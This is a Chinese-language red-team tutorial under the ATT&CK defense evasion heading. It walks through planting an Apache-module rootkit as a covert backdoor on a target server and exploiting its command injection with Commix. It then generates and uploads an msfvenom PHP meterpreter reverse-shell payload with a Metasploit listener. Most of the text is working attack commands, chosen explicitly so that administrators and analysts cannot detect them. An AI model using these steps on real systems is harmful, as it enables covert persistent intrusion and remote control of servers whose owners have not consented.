ATT& CK防御规避技术
防御规避包括敌人在整个入侵过程中用来避免被检测到的技术。用于防御规避的技术包括卸载/禁用安全软件或混淆/加密数据和脚本。对手还利用和滥用可信进程来隐藏和伪装其恶意软件。当其他战术的技术包括破坏防御的额外好处时,这些技术在这里交叉列出。
什么是Rootkit?
rootkit是一种秘密的计算机程序,旨在提供对计算机的持续特权访问,同时主动隐藏其存在。
对手可能会使用Rootkit来隐藏程序、文件、网络连接、服务、驱动程序和其他系统组件的存在。Rootkit是通过拦截/挂钩和修改提供系统信息的操作系统API调用来隐藏恶意软件存在的程序。
Rootkit通常用作防御规避策略的一部分,并在获得初始立足点后设置。
您使用的rootkit类型将取决于目标配置和您的要求。
rootkit的主要目的是为攻击者保持某种形式的秘密访问。
在本例中,我们将以Apache模块的形式设置一个rootkit,该模块将用于为我们提供对目标系统的后门访问。
如前所述,当涉及到Rootkit和后门时,简单性和效率是关键。此外,了解安装在目标上的各种软件,您就有机会利用其中一个服务/程序来保持访问。
此外,利用安装在目标上的软件为您提供了匿名性,因为系统管理员或安全分析师将发现很难检测到任何异常或流氓进程。
设置apache-rootkit
1、此过程的第一步是安装Apache 2开发工具包,可以通过在目标系统上运行以下命令来完成。
sudo apt-get install apache2-dev
cd /tmp
3、下一步将涉及到克隆apache-rootkit存储库到目标系统,这可以通过运行以下命令来完成:
git clonehttps://github.com/ChristianPapathanasiou/apache-rootkit.git
cd apache-rootkit
5、我们现在可以通过运行以下命令编译模块:
apxs -c -i mod_authg.c
如下面的屏幕截图所示,这将编译模块并将模块复制到/usr/lib/apache 2/modules目录。
6、下一步将涉及在Apache2配置文件中加载“mod_authg.so”模块,这可以通过运行以下命令来完成:
vim /etc/apache 2/apache2.conf
7、之后,您需要在文件顶部添加以下配置以正确加载模块:
8、添加上述配置后,您需要保存该文件。
9、加载“mod_authg.so”模块后,您需要重新启动apache2服务,这可以通过运行以下命令来完成:
sudo systemctl restart apache2
如果您正确地遵循了这些步骤,您应该不会收到来自systemd的任何错误。
测试apache-rootki
现在我们已经编译并加载了apache-rootkit模块,接下来可以通过执行一些命令注入技术来测试该模块。
1、您可以通过在浏览器中打开以下URL在apache 2服务器上执行命令注入:
http://<SERVER-IP>/authg?C=Whoami
现在我们已经验证了该模块是活动的和功能性的,我们可以利用它来设置一个PHP后门,该后门将在执行时为我们提供一个meterpreter会话。
利用Commix开发命令注入
sudo apt-get install commix -y
2、安装commix后,可以通过运行以下命令来测试目标站点是否存在Commix命令注入漏洞:
commix -u http://<SERVER-IP>/authg?c=whoami
Commix将测试为任何命令注入漏洞提供的URL,在这种情况下,它将检测命令注入漏洞并询问您是否需要伪终端shell,如以下屏幕截图所示。
3、在这种情况下,我们会说是,然后Commix将为您提供伪shell,您可以使用它来执行任意命令,如下面的屏幕截图所示。
这在红队交战期间非常有用,因为您可以轻松地秘密地在目标系统上执行命令。
使用Commix上传PHP后门
假设目标服务器正在运行LAMP堆栈,我们可以创建一个PHP meterpreter payload并将其上传到Web服务器,作为Commix的后门,然后我们可以在需要时使用它来访问目标系统。
1、第一步将涉及使用Msfvenom生成PHP meterpreter有效负载,这可以通过运行以下命令来完成:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.21 LPORT=1234 -e php/base64 -f raw>shell.php
2、生成有效负载后,您需要通过添加PHP标记来修改它,以便正确执行脚本,如下面的屏幕截图所示。
3、我们现在可以通过运行以下命令来设置Metasploit的监听器:
msfconsole
use multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <KALI-IP>
set LPORT <PORT>
run
4、下一步将涉及上传我们刚刚生成的PHP shell到Web服务器,这可以通过运行以下命令使用Commix完成:
commix -u http://<SERVER-IP>/authg?c=id --file-write='/home/kali/Desktop/shell.php' --file-dest='/var/www/html/shell.php
6、我们可以通过浏览器访问以下URL导航到Web服务器上的“shell.php”文件来检索目标上的meterpreter会话:
http://<SERVER-IP>/shell.php
我们已经能够成功地设置apache-rootkit模块,并利用该模块提供的命令注入功能在目标系统上执行任意命令,以及上传一个PHP后门,该后门将为您提供一个meterpreter会话。
团队承接以下业务,详情扫描二维码添加好友。
扫描二维码添加好友,一起交流学习。